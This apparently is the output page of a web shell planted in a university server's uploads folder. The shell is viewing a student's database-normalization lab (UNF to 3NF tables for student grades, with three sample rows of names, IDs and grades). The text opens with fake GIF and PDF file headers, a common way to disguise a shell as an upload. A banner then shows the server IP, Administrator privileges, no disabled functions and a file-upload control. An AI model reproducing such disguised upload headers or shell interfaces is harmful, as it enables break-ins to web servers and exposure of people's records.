GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/uploads/20243/CST1600/41/16316941/Lab09/ |
Upload File : |
UNF: studentgrades (StudentId*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP) lettergrade (LetterGrade1, Percentage1, LetterGrade2, Percentage2, LetterGrade3, Percentage3, LetterGrade4, Percentage4, LetterGrade5, Percentage5, LetterGrade6, Percentage6, LetterGrade7, Percentage7, LetterGrade8, Percentage8, LetterGrade9, Percentage9) possiblepoints (SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total) note: student first name and last need to be seperate, letter grade and percentage are seperated data that could fit under a single colunm 1NF:studentgrades (StudentId*, StudentFirstName, StudentLastName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP) lettergrade (LetterGrade*, Percentage*) possiblepoints (SP*, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total) note: OK 2NF:studentgrades (StudentId*, StudentFirstName, StudentLastName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP) lettergrade (LetterGrade*, Percentage*) possiblepoints (SP*, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total) note: student iformation and grades can be seperate, 3NF:students (StudentId*, StudentFirstName, StudentLastName) studentgrades(StudentId*@, SP*, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP) lettergrade (LetterGrade*, Percentage*) possiblepoints (SP*@, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total) Three data rows: students (StudentId*, StudentFirstName, StudentLastName) 84228748, Lael, Abbott 44107438, Bruce, Acosta 21479092, Coby, Fox studentgrades(StudentId*@, SP*, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP) 84228748 4, 10, 5, 9, ns, 3, 10, ns, ns, ns, 41, F, F 44107438, 5, 10, 5, 10, 10 15, 10, 15, 15, ns, 95, B-, A 21479092 5, 10, 5, 10, 10 15, 10, ng, ns, ns, 65, F, A lettergrade (LetterGrade*, Percentage) A, 93 A-, 90 B+, 87 possiblepoints (SP*@, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total) 5, 10, 5, 10, 10, 15, 10, 15, 15, 15, 110